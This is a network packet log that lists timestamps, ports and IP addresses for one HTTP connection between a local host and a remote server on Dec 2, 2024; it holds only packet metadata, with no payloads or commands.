Dec 2, 2024 11:21:10.489746094 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489811897 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.489854097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489885092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489916086 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.489945889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490016937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490145922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490176916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490221024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490230083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490302086 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490375042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490421057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490432978 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490483046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490514040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490559101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490566015 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490617037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490639925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490639925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490672112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490720987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490744114 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490855932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490875006 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490875959 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.490914106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.490962029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491009951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491014957 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491053104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491095066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491193056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491230965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491261005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491276979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491322994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491395950 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491512060 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491534948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491581917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491626024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491671085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491714954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491744995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491775036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491818905 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.491836071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491916895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.491987944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492019892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492031097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.492082119 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492127895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492156982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492175102 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.492254019 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.492254019 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.492357969 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492403984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492433071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492476940 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492590904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492598057 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.492640018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492645025 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.492696047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492811918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.492888927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492902994 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.492938042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.492981911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493032932 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493123055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493129969 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493168116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493212938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493254900 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493266106 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493304014 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493347883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493391037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493438005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493443966 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493444920 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493510962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493531942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493572950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493604898 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493657112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493714094 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493761063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493766069 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493804932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493849039 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.493864059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493916988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.493969917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494040012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494083881 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494091988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.494149923 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.494239092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494255066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.494288921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494333029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494398117 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.494468927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494477987 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.494515896 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494600058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494618893 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.494666100 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494695902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494740009 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494824886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494839907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.494875908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.494944096 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.494991064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.495126009 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495171070 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495214939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495244980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495289087 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495332003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495359898 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.495424032 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.495475054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.495659113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495712996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495759010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495789051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495832920 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495877028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.495886087 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.495929956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.495981932 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.496074915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.496130943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496176958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496221066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496263027 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496282101 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.496366978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496387959 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.496387959 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.496483088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496570110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496602058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496611118 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.496685028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.496732950 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.496865034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496910095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.496953964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497000933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497006893 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497006893 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497071028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497102976 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497173071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497217894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497243881 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497339010 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497339010 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497380972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497556925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497596025 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497642994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497685909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497729063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.497740030 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497786999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.497880936 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.498950958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.499089956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.499104023 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.499222994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.499233961 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.499353886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.499386072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.499418020 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.499507904 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.499656916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.499702930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.499747038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.499845028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.499845028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.499967098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.500099897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.500154018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.500402927 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.502444983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.502644062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.801295042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.801357985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.801392078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.801469088 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.801508904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.801517963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.801656008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.801666975 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.801707983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.801961899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.802644968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.802706003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.802737951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.802783966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.802913904 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.803023100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.803087950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803143024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803174973 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803221941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803265095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803293943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803308964 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.803359032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803406000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803411007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.803451061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803477049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.803512096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803544998 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.803572893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803601027 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803714037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.803714991 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.803813934 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803858042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803889036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.803998947 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.804054976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804059982 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.804112911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804143906 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804188967 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804275036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804306984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804349899 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804363012 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.804363012 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.804459095 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.804547071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804558992 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.804595947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804641008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804758072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804764986 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.804799080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.804817915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804862976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804907084 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804936886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804980040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.804987907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.805075884 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.805128098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.805264950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805295944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805486917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.805654049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805710077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805744886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805788994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805807114 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.805855989 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805886984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805931091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.805962086 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.805962086 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806000948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806035995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806062937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806062937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806104898 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806226015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806258917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806273937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806323051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806337118 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806391954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806483030 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806514978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806557894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806585073 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806622028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806653023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806662083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806713104 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806771040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806778908 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806832075 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806863070 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806910038 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.806967974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.806988001 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.807073116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807109118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807113886 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.807168007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807257891 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807264090 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.807303905 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807324886 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.807455063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.807576895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807621956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807651043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807694912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807733059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.807733059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.807809114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807840109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.807898045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.808001041 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.808144093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808188915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808222055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808303118 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.808303118 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.808363914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808409929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808439016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808482885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808526993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808537960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.808574915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808613062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.808613062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.808641911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808861971 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.808945894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.808978081 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809024096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809067011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809098959 CET	80	49753	31.41.244.11	192.168.11.20
